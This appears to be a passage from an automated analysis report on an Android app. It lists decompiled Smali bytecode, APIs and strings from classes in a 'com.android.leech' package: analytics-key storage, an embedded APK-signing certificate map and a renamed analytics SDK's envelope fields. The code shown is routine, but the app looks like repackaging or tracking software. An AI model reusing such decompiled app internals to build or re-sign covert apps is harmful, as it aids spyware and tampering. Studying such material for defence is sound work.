                                                                              189new-array v13, v13, [Ljava/lang/Object;
                                                                              190const/4 v14, 0x0
                                                                              191aput-object v7, v13, v14
                                                                              192const/4 v14, 0x1
                                                                              193aput-object v1, v13, v14
                                                                              195invoke-static {v12, v13}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                                                                              196move-result-object v12
                                                                              198invoke-static {v11, v12}, Lcom/android/leech/base/util/slLog;->e(Ljava/lang/Class;Ljava/lang/String;)V
                                                                              200invoke-static {v7}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              201move-result v11
                                                                              202if-nez v11, :cond_120
                                                                              204iget-object v11, p0, Lcom/android/leech/main/NetConfig$2;->val$mContext:Landroid/content/Context;
                                                                              206const-string v12, "FLURRY_KEY"
                                                                              208invoke-static {v11, v12, v7}, Lcom/android/leech/base/util/ShareUtils;->setStringValue(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                                                              210iget-object v11, p0, Lcom/android/leech/main/NetConfig$2;->val$mContext:Landroid/content/Context;
                                                                              212const-string v12, "FLURRY_SECRET"
                                                                              214invoke-static {v11, v12, v9}, Lcom/android/leech/base/util/ShareUtils;->setStringValue(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                                                              215goto_111:
                                                                              216invoke-static {v1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              217move-result v11
                                                                              218if-nez v11, :cond_12f
                                                                              220iget-object v11, p0, Lcom/android/leech/main/NetConfig$2;->val$mContext:Landroid/content/Context;
                                                                              222const-string v12, "FLURRY_CHANNEL"
                                                                              224invoke-static {v11, v12, v1}, Lcom/android/leech/base/util/ShareUtils;->setStringValue(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                                                              225goto/16 :goto_93
                                                                              226cond_120:
                                                                              227iget-object v11, p0, Lcom/android/leech/main/NetConfig$2;->val$mContext:Landroid/content/Context;
                                                                              229const-string v12, "FLURRY_KEY"
                                                                              231invoke-static {v11, v12}, Lcom/android/leech/base/util/ShareUtils;->remove(Landroid/content/Context;Ljava/lang/String;)V
                                                                              233iget-object v11, p0, Lcom/android/leech/main/NetConfig$2;->val$mContext:Landroid/content/Context;
                                                                              235const-string v12, "FLURRY_SECRET"
                                                                              237invoke-static {v11, v12}, Lcom/android/leech/base/util/ShareUtils;->remove(Landroid/content/Context;Ljava/lang/String;)V
                                                                              238goto/16 :goto_111
                                                                              239cond_12f:
                                                                              240iget-object v11, p0, Lcom/android/leech/main/NetConfig$2;->val$mContext:Landroid/content/Context;
                                                                              242const-string v12, "FLURRY_CHANNEL"
                                                                              244invoke-static {v11, v12}, Lcom/android/leech/base/util/ShareUtils;->remove(Landroid/content/Context;Ljava/lang/String;)V
                                                                              245goto/16 :goto_93
                                                                              246pswitch_138: const-class v11, Lcom/android/leech/main/NetConfig;
                                                                              248const-string v12, "set TYPE_GMS"
                                                                              250invoke-static {v11, v12}, Lcom/android/leech/base/util/slLog;->e(Ljava/lang/Class;Ljava/lang/String;)V
                                                                              251goto/16 :goto_93
                                                                              252pswitch_141: const-class v11, Lcom/android/leech/main/NetConfig;
                                                                              254const-string v12, "set TYPE_FIREBASE"
                                                                              256invoke-static {v11, v12}, Lcom/android/leech/base/util/slLog;->e(Ljava/lang/Class;Ljava/lang/String;)V
                                                                              257goto/16 :goto_93
                                                                              258cond_14a:
                                                                              259iget-object v11, p0, Lcom/android/leech/main/NetConfig$2;->val$mContext:Landroid/content/Context;
                                                                              261invoke-static {v11}, Lcom/android/leech/main/analytics/AgentMain;->init(Landroid/content/Context;)V
                                                                              262try_end_14f: goto/16 :goto_2
                                                                              263nop
                                                                              APIs
                                                                              • java.util.HashMap.<init>
                                                                              • java.lang.Integer.valueOf
                                                                              • java.util.Map.put
                                                                              • java.lang.Integer.valueOf
                                                                              • java.util.Map.put
                                                                              • java.lang.Integer.valueOf
                                                                              • java.util.Map.put
                                                                              • java.lang.Integer.valueOf
                                                                              • java.util.Map.put
                                                                              • java.lang.Integer.valueOf
                                                                              • java.util.Map.put
                                                                              • java.lang.Integer.valueOf
                                                                              • java.util.Map.put
                                                                              • java.lang.Integer.valueOf
                                                                              • java.util.Map.put
                                                                              • java.lang.Integer.valueOf
                                                                              • java.util.Map.put
                                                                              • java.lang.Integer.valueOf
                                                                              • java.util.Map.put
                                                                              • java.lang.Integer.valueOf
                                                                              • java.util.Map.put
                                                                              Strings
                                                                              • version
                                                                              • serialNumber
                                                                              • algorithmID
                                                                              • issuer
                                                                              • validity
                                                                              • subject
                                                                              • key
                                                                              • issuerID
                                                                              • subjectID
                                                                              • extensions
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              1new-instance v0, Ljava/util/HashMap;
                                                                              3invoke-direct {v0}, Ljava/util/HashMap;-><init>()V
                                                                              4sput-object v0, Lcom/android/leech/patch/apksigner/sun/security/x509/X509CertInfo;->map:Ljava/util/Map;
                                                                              6sget-object v0, Lcom/android/leech/patch/apksigner/sun/security/x509/X509CertInfo;->map:Ljava/util/Map;
                                                                              8const-string v1, "version"
                                                                              9const/4 v2, 0x1
                                                                              11invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                                              12move-result-object v2
                                                                              14invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              16sget-object v0, Lcom/android/leech/patch/apksigner/sun/security/x509/X509CertInfo;->map:Ljava/util/Map;
                                                                              18const-string v1, "serialNumber"
                                                                              19const/4 v2, 0x2
                                                                              21invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                                              22move-result-object v2
                                                                              24invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              26sget-object v0, Lcom/android/leech/patch/apksigner/sun/security/x509/X509CertInfo;->map:Ljava/util/Map;
                                                                              28const-string v1, "algorithmID"
                                                                              29const/4 v2, 0x3
                                                                              31invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                                              32move-result-object v2
                                                                              34invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              36sget-object v0, Lcom/android/leech/patch/apksigner/sun/security/x509/X509CertInfo;->map:Ljava/util/Map;
                                                                              38const-string v1, "issuer"
                                                                              39const/4 v2, 0x4
                                                                              41invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                                              42move-result-object v2
                                                                              44invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              46sget-object v0, Lcom/android/leech/patch/apksigner/sun/security/x509/X509CertInfo;->map:Ljava/util/Map;
                                                                              48const-string v1, "validity"
                                                                              49const/4 v2, 0x5
                                                                              51invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                                              52move-result-object v2
                                                                              54invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              56sget-object v0, Lcom/android/leech/patch/apksigner/sun/security/x509/X509CertInfo;->map:Ljava/util/Map;
                                                                              58const-string v1, "subject"
                                                                              59const/4 v2, 0x6
                                                                              61invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                                              62move-result-object v2
                                                                              64invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              66sget-object v0, Lcom/android/leech/patch/apksigner/sun/security/x509/X509CertInfo;->map:Ljava/util/Map;
                                                                              68const-string v1, "key"
                                                                              69const/4 v2, 0x7
                                                                              71invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                                              72move-result-object v2
                                                                              74invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              76sget-object v0, Lcom/android/leech/patch/apksigner/sun/security/x509/X509CertInfo;->map:Ljava/util/Map;
                                                                              78const-string v1, "issuerID"
                                                                              79const/16 v2, 0x8
                                                                              81invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                                              82move-result-object v2
                                                                              84invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              86sget-object v0, Lcom/android/leech/patch/apksigner/sun/security/x509/X509CertInfo;->map:Ljava/util/Map;
                                                                              88const-string v1, "subjectID"
                                                                              89const/16 v2, 0x9
                                                                              91invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                                              92move-result-object v2
                                                                              94invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              96sget-object v0, Lcom/android/leech/patch/apksigner/sun/security/x509/X509CertInfo;->map:Ljava/util/Map;
                                                                              98const-string v1, "extensions"
                                                                              99const/16 v2, 0xa
                                                                              101invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                                              102move-result-object v2
                                                                              104invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              105return-void
                                                                              APIs
                                                                              • java.util.HashMap.<init>
                                                                              • java.util.Map.put
                                                                              • java.util.Map.put
                                                                              • java.util.EnumMap.<init>
                                                                              • uAgent.commonsdk.proguard.h$e.a:LuAgent/commonsdk/proguard/h$e
                                                                              • java.util.Map.put
                                                                              • uAgent.commonsdk.proguard.h$e.b:LuAgent/commonsdk/proguard/h$e
                                                                              • java.util.Map.put
                                                                              • uAgent.commonsdk.proguard.h$e.c:LuAgent/commonsdk/proguard/h$e
                                                                              • java.util.Map.put
                                                                              • uAgent.commonsdk.proguard.h$e.d:LuAgent/commonsdk/proguard/h$e
                                                                              • java.util.Map.put
                                                                              • uAgent.commonsdk.proguard.h$e.e:LuAgent/commonsdk/proguard/h$e
                                                                              • java.util.Map.put
                                                                              • uAgent.commonsdk.proguard.h$e.f:LuAgent/commonsdk/proguard/h$e
                                                                              • java.util.Map.put
                                                                              • uAgent.commonsdk.proguard.h$e.g:LuAgent/commonsdk/proguard/h$e
                                                                              • java.util.Map.put
                                                                              • uAgent.commonsdk.proguard.h$e.h:LuAgent/commonsdk/proguard/h$e
                                                                              • java.util.Map.put
                                                                              • uAgent.commonsdk.proguard.h$e.i:LuAgent/commonsdk/proguard/h$e
                                                                              • java.util.Map.put
                                                                              • uAgent.commonsdk.proguard.h$e.j:LuAgent/commonsdk/proguard/h$e
                                                                              • java.util.Map.put
                                                                              • java.util.Collections.unmodifiableMap
                                                                              Strings
                                                                              • UMEnvelope
                                                                              • version
                                                                              • address
                                                                              • signature
                                                                              • serial_num
                                                                              • ts_secs
                                                                              • length
                                                                              • entity
                                                                              • guid
                                                                              • checksum
                                                                              • codex
                                                                              Position Instruction Meta Information
                                                                              0const/4 v3, 0x0
                                                                              1const/4 v8, 0x2
                                                                              2const/16 v7, 0x8
                                                                              3const/4 v6, 0x1
                                                                              4const/16 v5, 0xb
                                                                              5new-instance v0, LuAgent/commonsdk/proguard/ap;
                                                                              7const-string v1, "UMEnvelope"
                                                                              9invoke-direct {v0, v1}, LuAgent/commonsdk/proguard/ap;-><init>(Ljava/lang/String;)V
                                                                              10sput-object v0, LuAgent/commonsdk/proguard/h;->m:LuAgent/commonsdk/proguard/ap;
                                                                              11new-instance v0, LuAgent/commonsdk/proguard/af;
                                                                              13const-string v1, "version"
                                                                              15invoke-direct {v0, v1, v5, v6}, LuAgent/commonsdk/proguard/af;-><init>(Ljava/lang/String;BS)V
                                                                              16sput-object v0, LuAgent/commonsdk/proguard/h;->n:LuAgent/commonsdk/proguard/af;
                                                                              17new-instance v0, LuAgent/commonsdk/proguard/af;
                                                                              19const-string v1, "address"
                                                                              21invoke-direct {v0, v1, v5, v8}, LuAgent/commonsdk/proguard/af;-><init>(Ljava/lang/String;BS)V
                                                                              22sput-object v0, LuAgent/commonsdk/proguard/h;->o:LuAgent/commonsdk/proguard/af;
                                                                              23new-instance v0, LuAgent/commonsdk/proguard/af;
                                                                              25const-string v1, "signature"
                                                                              26const/4 v2, 0x3
                                                                              28invoke-direct {v0, v1, v5, v2}, LuAgent/commonsdk/proguard/af;-><init>(Ljava/lang/String;BS)V
                                                                              29sput-object v0, LuAgent/commonsdk/proguard/h;->p:LuAgent/commonsdk/proguard/af;
                                                                              30new-instance v0, LuAgent/commonsdk/proguard/af;
                                                                              32const-string v1, "serial_num"
                                                                              33const/4 v2, 0x4
                                                                              35invoke-direct {v0, v1, v7, v2}, LuAgent/commonsdk/proguard/af;-><init>(Ljava/lang/String;BS)V
                                                                              36sput-object v0, LuAgent/commonsdk/proguard/h;->q:LuAgent/commonsdk/proguard/af;
                                                                              37new-instance v0, LuAgent/commonsdk/proguard/af;
                                                                              39const-string v1, "ts_secs"
                                                                              40const/4 v2, 0x5
                                                                              42invoke-direct {v0, v1, v7, v2}, LuAgent/commonsdk/proguard/af;-><init>(Ljava/lang/String;BS)V
                                                                              43sput-object v0, LuAgent/commonsdk/proguard/h;->r:LuAgent/commonsdk/proguard/af;
                                                                              44new-instance v0, LuAgent/commonsdk/proguard/af;
                                                                              46const-string v1, "length"
                                                                              47const/4 v2, 0x6
                                                                              49invoke-direct {v0, v1, v7, v2}, LuAgent/commonsdk/proguard/af;-><init>(Ljava/lang/String;BS)V
                                                                              50sput-object v0, LuAgent/commonsdk/proguard/h;->s:LuAgent/commonsdk/proguard/af;
                                                                              51new-instance v0, LuAgent/commonsdk/proguard/af;
                                                                              53const-string v1, "entity"
                                                                              54const/4 v2, 0x7
                                                                              56invoke-direct {v0, v1, v5, v2}, LuAgent/commonsdk/proguard/af;-><init>(Ljava/lang/String;BS)V
                                                                              57sput-object v0, LuAgent/commonsdk/proguard/h;->t:LuAgent/commonsdk/proguard/af;
                                                                              58new-instance v0, LuAgent/commonsdk/proguard/af;
                                                                              60const-string v1, "guid"
                                                                              62invoke-direct {v0, v1, v5, v7}, LuAgent/commonsdk/proguard/af;-><init>(Ljava/lang/String;BS)V
                                                                              63sput-object v0, LuAgent/commonsdk/proguard/h;->u:LuAgent/commonsdk/proguard/af;
                                                                              64new-instance v0, LuAgent/commonsdk/proguard/af;
                                                                              66const-string v1, "checksum"
                                                                              67const/16 v2, 0x9
                                                                              69invoke-direct {v0, v1, v5, v2}, LuAgent/commonsdk/proguard/af;-><init>(Ljava/lang/String;BS)V
                                                                              70sput-object v0, LuAgent/commonsdk/proguard/h;->v:LuAgent/commonsdk/proguard/af;
                                                                              71new-instance v0, LuAgent/commonsdk/proguard/af;
                                                                              73const-string v1, "codex"
                                                                              74const/16 v2, 0xa
                                                                              76invoke-direct {v0, v1, v7, v2}, LuAgent/commonsdk/proguard/af;-><init>(Ljava/lang/String;BS)V
                                                                              77sput-object v0, LuAgent/commonsdk/proguard/h;->w:LuAgent/commonsdk/proguard/af;
                                                                              78new-instance v0, Ljava/util/HashMap;
                                                                              80invoke-direct {v0}, Ljava/util/HashMap;-><init>()V
                                                                              81sput-object v0, LuAgent/commonsdk/proguard/h;->x:Ljava/util/Map;
                                                                              83sget-object v0, LuAgent/commonsdk/proguard/h;->x:Ljava/util/Map;
                                                                              84const-class v1, LuAgent/commonsdk/proguard/au;
                                                                              85new-instance v2, LuAgent/commonsdk/proguard/h$b;
                                                                              87invoke-direct {v2, v3}, LuAgent/commonsdk/proguard/h$b;-><init>(LuAgent/commonsdk/proguard/h$1;)V
                                                                              89invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              91sget-object v0, LuAgent/commonsdk/proguard/h;->x:Ljava/util/Map;
                                                                              92const-class v1, LuAgent/commonsdk/proguard/av;
                                                                              93new-instance v2, LuAgent/commonsdk/proguard/h$d;
                                                                              95invoke-direct {v2, v3}, LuAgent/commonsdk/proguard/h$d;-><init>(LuAgent/commonsdk/proguard/h$1;)V
                                                                              97invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              98new-instance v0, Ljava/util/EnumMap;
                                                                              99const-class v1, LuAgent/commonsdk/proguard/h$e;
                                                                              101invoke-direct {v0, v1}, Ljava/util/EnumMap;-><init>(Ljava/lang/Class;)V
                                                                              103sget-object v1, LuAgent/commonsdk/proguard/h$e;->a:LuAgent/commonsdk/proguard/h$e;
                                                                              104new-instance v2, LuAgent/commonsdk/proguard/x;
                                                                              106const-string v3, "version"
                                                                              107new-instance v4, LuAgent/commonsdk/proguard/y;
                                                                              109invoke-direct {v4, v5}, LuAgent/commonsdk/proguard/y;-><init>(B)V
                                                                              111invoke-direct {v2, v3, v6, v4}, LuAgent/commonsdk/proguard/x;-><init>(Ljava/lang/String;BLuAgent/commonsdk/proguard/y;)V
                                                                              113invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              115sget-object v1, LuAgent/commonsdk/proguard/h$e;->b:LuAgent/commonsdk/proguard/h$e;
                                                                              116new-instance v2, LuAgent/commonsdk/proguard/x;
                                                                              118const-string v3, "address"
                                                                              119new-instance v4, LuAgent/commonsdk/proguard/y;
                                                                              121invoke-direct {v4, v5}, LuAgent/commonsdk/proguard/y;-><init>(B)V
                                                                              123invoke-direct {v2, v3, v6, v4}, LuAgent/commonsdk/proguard/x;-><init>(Ljava/lang/String;BLuAgent/commonsdk/proguard/y;)V
                                                                              125invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              127sget-object v1, LuAgent/commonsdk/proguard/h$e;->c:LuAgent/commonsdk/proguard/h$e;
                                                                              128new-instance v2, LuAgent/commonsdk/proguard/x;
                                                                              130const-string v3, "signature"
                                                                              131new-instance v4, LuAgent/commonsdk/proguard/y;
                                                                              133invoke-direct {v4, v5}, LuAgent/commonsdk/proguard/y;-><init>(B)V
                                                                              135invoke-direct {v2, v3, v6, v4}, LuAgent/commonsdk/proguard/x;-><init>(Ljava/lang/String;BLuAgent/commonsdk/proguard/y;)V
                                                                              137invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              139sget-object v1, LuAgent/commonsdk/proguard/h$e;->d:LuAgent/commonsdk/proguard/h$e;
                                                                              140new-instance v2, LuAgent/commonsdk/proguard/x;
                                                                              142const-string v3, "serial_num"
                                                                              143new-instance v4, LuAgent/commonsdk/proguard/y;
                                                                              145invoke-direct {v4, v7}, LuAgent/commonsdk/proguard/y;-><init>(B)V
                                                                              147invoke-direct {v2, v3, v6, v4}, LuAgent/commonsdk/proguard/x;-><init>(Ljava/lang/String;BLuAgent/commonsdk/proguard/y;)V
                                                                              149invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              151sget-object v1, LuAgent/commonsdk/proguard/h$e;->e:LuAgent/commonsdk/proguard/h$e;
                                                                              152new-instance v2, LuAgent/commonsdk/proguard/x;
                                                                              154const-string v3, "ts_secs"
                                                                              155new-instance v4, LuAgent/commonsdk/proguard/y;
                                                                              157invoke-direct {v4, v7}, LuAgent/commonsdk/proguard/y;-><init>(B)V
                                                                              159invoke-direct {v2, v3, v6, v4}, LuAgent/commonsdk/proguard/x;-><init>(Ljava/lang/String;BLuAgent/commonsdk/proguard/y;)V
                                                                              161invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              163sget-object v1, LuAgent/commonsdk/proguard/h$e;->f:LuAgent/commonsdk/proguard/h$e;
                                                                              164new-instance v2, LuAgent/commonsdk/proguard/x;
                                                                              166const-string v3, "length"
                                                                              167new-instance v4, LuAgent/commonsdk/proguard/y;
                                                                              169invoke-direct {v4, v7}, LuAgent/commonsdk/proguard/y;-><init>(B)V
                                                                              171invoke-direct {v2, v3, v6, v4}, LuAgent/commonsdk/proguard/x;-><init>(Ljava/lang/String;BLuAgent/commonsdk/proguard/y;)V
                                                                              173invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              175sget-object v1, LuAgent/commonsdk/proguard/h$e;->g:LuAgent/commonsdk/proguard/h$e;
                                                                              176new-instance v2, LuAgent/commonsdk/proguard/x;
                                                                              178const-string v3, "entity"
                                                                              179new-instance v4, LuAgent/commonsdk/proguard/y;
                                                                              181invoke-direct {v4, v5, v6}, LuAgent/commonsdk/proguard/y;-><init>(BZ)V
                                                                              183invoke-direct {v2, v3, v6, v4}, LuAgent/commonsdk/proguard/x;-><init>(Ljava/lang/String;BLuAgent/commonsdk/proguard/y;)V
                                                                              185invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              187sget-object v1, LuAgent/commonsdk/proguard/h$e;->h:LuAgent/commonsdk/proguard/h$e;
                                                                              188new-instance v2, LuAgent/commonsdk/proguard/x;
                                                                              190const-string v3, "guid"
                                                                              191new-instance v4, LuAgent/commonsdk/proguard/y;
                                                                              193invoke-direct {v4, v5}, LuAgent/commonsdk/proguard/y;-><init>(B)V
                                                                              195invoke-direct {v2, v3, v6, v4}, LuAgent/commonsdk/proguard/x;-><init>(Ljava/lang/String;BLuAgent/commonsdk/proguard/y;)V
                                                                              197invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              199sget-object v1, LuAgent/commonsdk/proguard/h$e;->i:LuAgent/commonsdk/proguard/h$e;
                                                                              200new-instance v2, LuAgent/commonsdk/proguard/x;
                                                                              202const-string v3, "checksum"
                                                                              203new-instance v4, LuAgent/commonsdk/proguard/y;
                                                                              205invoke-direct {v4, v5}, LuAgent/commonsdk/proguard/y;-><init>(B)V
                                                                              207invoke-direct {v2, v3, v6, v4}, LuAgent/commonsdk/proguard/x;-><init>(Ljava/lang/String;BLuAgent/commonsdk/proguard/y;)V
                                                                              209invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              211sget-object v1, LuAgent/commonsdk/proguard/h$e;->j:LuAgent/commonsdk/proguard/h$e;
                                                                              212new-instance v2, LuAgent/commonsdk/proguard/x;
                                                                              214const-string v3, "codex"
                                                                              215new-instance v4, LuAgent/commonsdk/proguard/y;
                                                                              217invoke-direct {v4, v7}, LuAgent/commonsdk/proguard/y;-><init>(B)V
                                                                              219invoke-direct {v2, v3, v8, v4}, LuAgent/commonsdk/proguard/x;-><init>(Ljava/lang/String;BLuAgent/commonsdk/proguard/y;)V
                                                                              221invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              223invoke-static {v0}, Ljava/util/Collections;->unmodifiableMap(Ljava/util/Map;)Ljava/util/Map;
                                                                              224move-result-object v0
                                                                              225sput-object v0, LuAgent/commonsdk/proguard/h;->k:Ljava/util/Map;
                                                                              226const-class v0, LuAgent/commonsdk/proguard/h;
                                                                              228sget-object v1, LuAgent/commonsdk/proguard/h;->k:Ljava/util/Map;
                                                                              230invoke-static {v0, v1}, LuAgent/commonsdk/proguard/x;->a(Ljava/lang/Class;Ljava/util/Map;)V
                                                                              231return-void
                                                                              APIs
                                                                              • java.util.HashMap.<init>
                                                                              • java.util.Map.put
                                                                              • java.util.Map.put
                                                                              • java.util.EnumMap.<init>
                                                                              • uAgent.commonsdk.stateless.b$e.a:LuAgent/commonsdk/stateless/b$e
                                                                              • java.util.Map.put
                                                                              • uAgent.commonsdk.stateless.b$e.b:LuAgent/commonsdk/stateless/b$e
                                                                              • java.util.Map.put
                                                                              • uAgent.commonsdk.stateless.b$e.c:LuAgent/commonsdk/stateless/b$e
                                                                              • java.util.Map.put
                                                                              • uAgent.commonsdk.stateless.b$e.d:LuAgent/commonsdk/stateless/b$e
                                                                              • java.util.Map.put
                                                                              • uAgent.commonsdk.stateless.b$e.e:LuAgent/commonsdk/stateless/b$e
                                                                              • java.util.Map.put
                                                                              • uAgent.commonsdk.stateless.b$e.f:LuAgent/commonsdk/stateless/b$e
                                                                              • java.util.Map.put
                                                                              • uAgent.commonsdk.stateless.b$e.g:LuAgent/commonsdk/stateless/b$e
                                                                              • java.util.Map.put
                                                                              • uAgent.commonsdk.stateless.b$e.h:LuAgent/commonsdk/stateless/b$e
                                                                              • java.util.Map.put
                                                                              • uAgent.commonsdk.stateless.b$e.i:LuAgent/commonsdk/stateless/b$e
                                                                              • java.util.Map.put
                                                                              • uAgent.commonsdk.stateless.b$e.j:LuAgent/commonsdk/stateless/b$e
                                                                              • java.util.Map.put
                                                                              • java.util.Collections.unmodifiableMap
                                                                              Strings
                                                                              • UMSLEnvelope
                                                                              • version
                                                                              • address
                                                                              • signature
                                                                              • serial_num
                                                                              • ts_secs
                                                                              • length
                                                                              • entity
                                                                              • guid
                                                                              • checksum
                                                                              • codex
                                                                              Position Instruction Meta Information
                                                                              0const/4 v3, 0x0
                                                                              1const/4 v8, 0x2
                                                                              2const/16 v7, 0x8
                                                                              3const/4 v6, 0x1
                                                                              4const/16 v5, 0xb
                                                                              5new-instance v0, LuAgent/commonsdk/proguard/ap;
                                                                              7const-string v1, "UMSLEnvelope"
                                                                              9invoke-direct {v0, v1}, LuAgent/commonsdk/proguard/ap;-><init>(Ljava/lang/String;)V
                                                                              10sput-object v0, LuAgent/commonsdk/stateless/b;->m:LuAgent/commonsdk/proguard/ap;
                                                                              11new-instance v0, LuAgent/commonsdk/proguard/af;
                                                                              13const-string v1, "version"
                                                                              15invoke-direct {v0, v1, v5, v6}, LuAgent/commonsdk/proguard/af;-><init>(Ljava/lang/String;BS)V
                                                                              16sput-object v0, LuAgent/commonsdk/stateless/b;->n:LuAgent/commonsdk/proguard/af;
                                                                              17new-instance v0, LuAgent/commonsdk/proguard/af;
                                                                              19const-string v1, "address"
                                                                              21invoke-direct {v0, v1, v5, v8}, LuAgent/commonsdk/proguard/af;-><init>(Ljava/lang/String;BS)V
                                                                              22sput-object v0, LuAgent/commonsdk/stateless/b;->o:LuAgent/commonsdk/proguard/af;
                                                                              23new-instance v0, LuAgent/commonsdk/proguard/af;
                                                                              25const-string v1, "signature"
                                                                              26const/4 v2, 0x3
                                                                              28invoke-direct {v0, v1, v5, v2}, LuAgent/commonsdk/proguard/af;-><init>(Ljava/lang/String;BS)V
                                                                              29sput-object v0, LuAgent/commonsdk/stateless/b;->p:LuAgent/commonsdk/proguard/af;
                                                                              30new-instance v0, LuAgent/commonsdk/proguard/af;
                                                                              32const-string v1, "serial_num"
                                                                              33const/4 v2, 0x4
                                                                              35invoke-direct {v0, v1, v7, v2}, LuAgent/commonsdk/proguard/af;-><init>(Ljava/lang/String;BS)V
                                                                              36sput-object v0, LuAgent/commonsdk/stateless/b;->q:LuAgent/commonsdk/proguard/af;
                                                                              37new-instance v0, LuAgent/commonsdk/proguard/af;
                                                                              39const-string v1, "ts_secs"
                                                                              40const/4 v2, 0x5
                                                                              42invoke-direct {v0, v1, v7, v2}, LuAgent/commonsdk/proguard/af;-><init>(Ljava/lang/String;BS)V
                                                                              43sput-object v0, LuAgent/commonsdk/stateless/b;->r:LuAgent/commonsdk/proguard/af;
                                                                              44new-instance v0, LuAgent/commonsdk/proguard/af;
                                                                              46const-string v1, "length"
                                                                              47const/4 v2, 0x6
                                                                              49invoke-direct {v0, v1, v7, v2}, LuAgent/commonsdk/proguard/af;-><init>(Ljava/lang/String;BS)V
                                                                              50sput-object v0, LuAgent/commonsdk/stateless/b;->s:LuAgent/commonsdk/proguard/af;
                                                                              51new-instance v0, LuAgent/commonsdk/proguard/af;
                                                                              53const-string v1, "entity"
                                                                              54const/4 v2, 0x7
                                                                              56invoke-direct {v0, v1, v5, v2}, LuAgent/commonsdk/proguard/af;-><init>(Ljava/lang/String;BS)V
                                                                              57sput-object v0, LuAgent/commonsdk/stateless/b;->t:LuAgent/commonsdk/proguard/af;
                                                                              58new-instance v0, LuAgent/commonsdk/proguard/af;
                                                                              60const-string v1, "guid"
                                                                              62invoke-direct {v0, v1, v5, v7}, LuAgent/commonsdk/proguard/af;-><init>(Ljava/lang/String;BS)V
                                                                              63sput-object v0, LuAgent/commonsdk/stateless/b;->u:LuAgent/commonsdk/proguard/af;
                                                                              64new-instance v0, LuAgent/commonsdk/proguard/af;
                                                                              66const-string v1, "checksum"
                                                                              67const/16 v2, 0x9
                                                                              69invoke-direct {v0, v1, v5, v2}, LuAgent/commonsdk/proguard/af;-><init>(Ljava/lang/String;BS)V
                                                                              70sput-object v0, LuAgent/commonsdk/stateless/b;->v:LuAgent/commonsdk/proguard/af;
                                                                              71new-instance v0, LuAgent/commonsdk/proguard/af;
                                                                              73const-string v1, "codex"
                                                                              74const/16 v2, 0xa
                                                                              76invoke-direct {v0, v1, v7, v2}, LuAgent/commonsdk/proguard/af;-><init>(Ljava/lang/String;BS)V
                                                                              77sput-object v0, LuAgent/commonsdk/stateless/b;->w:LuAgent/commonsdk/proguard/af;
